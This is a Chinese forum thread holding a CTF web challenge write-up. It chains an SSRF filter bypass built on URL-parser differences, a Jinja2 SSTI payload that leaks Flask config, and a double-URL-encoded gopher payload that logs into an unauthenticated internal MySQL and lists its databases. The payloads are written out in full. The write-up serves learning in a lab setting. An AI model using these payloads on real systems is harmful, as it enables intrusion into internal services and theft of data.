# 某CTF交流群入群WEB题 **URL:** \ **Category:** CTF 夺旗赛\ **Created:** [2019 年9 月 11 日 14:00 UTC](https://forum.90sec.com/t/topic/397 "2019-09-11T14:00:00Z")\ **Posts on this page:** 5\ **Page:** 1
作者： ![M4p1e](https://forum.90sec.com/user_avatar/forum.90sec.com/m4p1e/32/15_2.png) [@M4p1e](https://forum.90sec.com/u/M4p1e)\ 发布日期： [2019 年9 月 11 日 14:00 UTC](https://forum.90sec.com/t/topic/397/1 "2019-09-11T14:00:01Z")
# CTF交流群——WEB ## 源码分析 ```php >24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; } function safe_request_url($url) { if (check_inner_ip($url)) { echo $url.' is inner ip'; } else { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); $result_info = curl_getinfo($ch); if ($result_info['redirect_url']) { safe_request_url($result_info['redirect_url']); } curl_close($ch); var_dump($output); } } $url = $_GET['url']; if(!empty($url)){ safe_request_url($url); } ?> ``` 流程 获取get传入的`url`参数 ——\> 判断是否为空（不为空进入下一步）——\>进入`safe_request_url()`——\>调用`check_inner_ip()`处理`url`参数（判断是不是内网ip）——\> `curl`获得的`$url` ## 绕过check\_inner\_ip ![](https://forum.90sec.com/uploads/default/original/2X/c/c2027cf761d77095367c1d9089f17c46384d26ba.png) > **[us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf](https://blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)** > > 5.17 MB ![](https://forum.90sec.com/uploads/default/original/2X/f/fc1aa3e999402276bb031582b6019cd1028ce659.png) 在orange大佬的pdf中，可以看到不同URL解析器对url的不同解析，利用这种差异可以绕过对内网ip地址的检测 如图 parse\_url解析最后一个@后面的地址而curl解析的是第一个@后的地址 ![](https://forum.90sec.com/uploads/default/original/2X/f/f17baacd90c455db309421bd96a01382d7caee4a.png) ## Flask SSTI 根据上一步可以构造url为`url=http://aa@127.0.0.1:80@www.baidu.com/flag.php` ![](https://forum.90sec.com/uploads/default/original/2X/9/910bb31e013e151a293f7903293a24d6f2570e93.png) 获得一个`string(15) "172.11.243.0/24"` ip段提示 猜测flag在这个段的某个ip的某个端口上，上burp进行爆破一下 ![](https://forum.90sec.com/uploads/default/original/2X/c/c9d00ecb49350f9c17e4fe8993ed94f5561f29c6.png) 访问获得源码 ![](https://forum.90sec.com/uploads/default/original/2X/c/cc14f8c2b895c925c10b1109794f3648fce1cf0f.png) ![](https://forum.90sec.com/uploads/default/original/2X/5/5e4d5982a2639bae04be48a1f2932df3f75882e0.png) 上面的源码是一个典型的的Flask Jinjia SSTI模板注入，这里过滤了`(`、`)`、`self`、`config` 参考[https://www.xmsec.cc/ssti-and-bypass-sandbox-in-jinja2/](https://www.xmsec.cc/ssti-and-bypass-sandbox-in-jinja2/) 构造出payload `{{url_for. __globals__ [%27current_app%27].config}}` 获取属性和变量 ![](https://forum.90sec.com/uploads/default/original/2X/e/ee00351a1304fc59e2d25b8be21e4560bab35b9c.png) 这里值得一提的是之前在扫80端口的时候意外发现`172.11.243.1:80`这个ip存在phpmyadmin，再结合这个HINT就尝试了phpmyadmin爆破。一顿操作猛如虎，然而战斗力只有5 在这里钻牛角尖耗了一个多小时，最后问了问郁师傅，郁师傅表示一脸懵逼 ![](https://forum.90sec.com/uploads/default/original/2X/7/729ab55d390513efab160989bb32e1000e9565b9.png) ## SSRF TO RCE IN Mysql HINT提示是和mysql有关那么再扫描下这个ip段都有哪些ip开放了3306 ![](https://forum.90sec.com/uploads/default/original/2X/b/b3edd8a0caeba8703a03aa03f1638d4419ba8b0e.png) ![](https://forum.90sec.com/uploads/default/original/2X/f/fb4272442730691564510af735d1c7e060319df7.png) 看到这里想起了之前看过的一篇文章 SSRF TO RCE IN Mysql [https://www.wtfsec.org/5112/ssrf-to-rce-in-mysql/](https://www.wtfsec.org/5112/ssrf-to-rce-in-mysql/) 文章中提到如下内容 > ###### MySQL认证过程： > > MySQL客户端连接并登录服务器时存在两种情况：需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式，服务器先发送salt然后客户端使用salt加密密码然后验证；当无需密码认证时直接发送TCP/IP数据包即可。所以在非交互模式下登录并操作MySQL只能在无需密码认证，未授权情况下进行，本文利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。 无需密码认证时直接发送TCP/IP数据包，这里可以利用gopher进行mysql认证。 这里可以创建一个无密码的`yuligeeee123321`用户 然后在登录和执行命令时使用wireshark抓包 ![](https://forum.90sec.com/uploads/default/original/2X/7/71e9f2b91e190bee05c38d4eb4e3210d4e8dd167.png) ![](https://forum.90sec.com/uploads/default/original/2X/5/5674dc91bb3de236ec5c8bd39308bc0a5b6f99cc.png) 找到发送到3396端口的数据包 保存为raw 并将数据整理成一行后进行两次url编码即可 也可以使用github中的开源项目[Gopherus](https://github.com/tarunkant/Gopherus) 生成 ![](https://forum.90sec.com/uploads/default/original/2X/0/018bdbb3c4712979807c6cd63f0b1210eef626ae.png) 生成后的payload需要在进行一次url编码才可以利用 `_%25ae%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2579%2575%256c%2569%2567%2565%2565%2565%2565%2531%2532%2533%2533%2532%2531%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2510%2500%2500%2500%2503%2573%2568%256f%2577%2520%2564%2561%2574%2561%2562%2561%2573%2565%2573%253b%2501%2500%2500%2500%2501` ![](https://forum.90sec.com/uploads/default/original/2X/3/3ba99e6795013e320e76f0c65f3edfb528470e97.png) 获得数据库接下来就是获取表查询数据了 ![](https://forum.90sec.com/uploads/default/original/2X/4/44545a6745b044c1e98e22c3e9413141fda0d53f.png) ---
作者： ![panda](https://forum.90sec.com/user_avatar/forum.90sec.com/panda/32/4495_2.png) [@panda](https://forum.90sec.com/u/panda)\ 发布日期： [2019 年9 月 12 日 04:01 UTC](https://forum.90sec.com/t/topic/397/2 "2019-09-12T04:01:38Z")
主题出现什么问题了？暂时隐藏此贴 ---
作者： ![panda](https://forum.90sec.com/user_avatar/forum.90sec.com/panda/32/4495_2.png) [@panda](https://forum.90sec.com/u/panda)\ 发布日期： [2019 年9 月 12 日 04:01 UTC](https://forum.90sec.com/t/topic/397/3 "2019-09-12T04:01:41Z")
---
作者： ![M4p1e](https://forum.90sec.com/user_avatar/forum.90sec.com/m4p1e/32/15_2.png) [@M4p1e](https://forum.90sec.com/u/M4p1e)\ 发布日期： [2019 年9 月 12 日 08:11 UTC](https://forum.90sec.com/t/topic/397/4 "2019-09-12T08:11:09Z")
图床问题，现在可以了 ---
作者： ![admin05](https://forum.90sec.com/user_avatar/forum.90sec.com/admin05/32/12_2.png) [@admin05](https://forum.90sec.com/u/admin05)\ 发布日期： [2019 年9 月 12 日 08:16 UTC](https://forum.90sec.com/t/topic/397/5 "2019-09-12T08:16:37Z")